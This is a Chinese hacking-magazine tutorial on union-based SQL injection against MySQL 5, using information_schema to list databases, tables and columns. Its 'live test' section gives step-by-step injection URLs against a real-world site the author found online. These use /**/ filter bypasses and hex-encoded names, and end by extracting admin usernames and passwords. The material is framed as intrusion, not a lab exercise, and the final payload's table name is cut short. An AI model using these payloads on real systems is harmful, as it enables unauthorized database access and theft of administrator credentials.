文章已經發表在《黑客手冊》,轉載請署名版權
Mysql5和之前的版本有很多不同的地方,靈活的運用其特性可以在入侵的時候省掉很多麻煩。我試圖在本文把在《滲透周傑倫官方網站》中沒有寫清楚的部分表達出來,你看明白這個文章後也許你會發現,原來mysql5也可以像mssql一樣注射。
一、原理分析
我們先看看mysql5比之前增加的系統資料庫information_schema的結構,它是用來存儲資料庫系統資訊的
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
如果讀者有興趣可以自己裝一個mysql5研究一下這幾個表存儲的資訊,我這裡隻挑注射中可以用到的幾個表。
| SCHEMATA ――>存儲資料庫名的,
|——>關鍵字段:SCHEMA_NAME,表示資料庫名稱
| TABLES ――>存儲表名的
|——>關鍵字段:TABLE_SCHEMA表示表所屬的資料庫名稱;
TABLE_NAME表示表的名稱
| COLUMNS ――>存儲字段名的
TABLE_NAME表示所屬的表的名稱
COLUMN_NAME表示字段名
可以看到,我們隻要通過注射點構造查詢語句遍相關字段,就可以得到我們想要的資訊了。
二、實戰測試
到網上找到一個注射點,首先還是像以往一樣猜字段、版本和資料庫使用者,如圖1
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,user(),3,4,version(),6,7,8,9,10,11,12,13,14,15/*

圖一
下面猜資料庫,可以通過不斷遞增limit的第一個參數查詢到所有的資料庫名,如圖2
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15 from/**/information_schema.SCHEMATA limit 17,1/*

圖2
遍裡webbase裡面的表名,找到敏感的表,如圖三(0x77656262617365是webbase的十六進制編碼)
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0x77656262617365/**/limit/**/11,1

圖3
tg_adminuser十六進制編碼為0x74675F61646D696E75736572,依次查找該表裡面的字段名,如圖4,圖5
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/1,1

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/2,1

圖五
資料庫,表名,字段我們都知道了,查出密碼就很簡單了,如圖六
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,username,3,4,password,6,7,8,9,10,11,12,13,14,15/**/from/**/webbase.tg_adminuse

圖6
文章就到這裡結束了,懂點sql文法的朋友應該看的比較明白了:)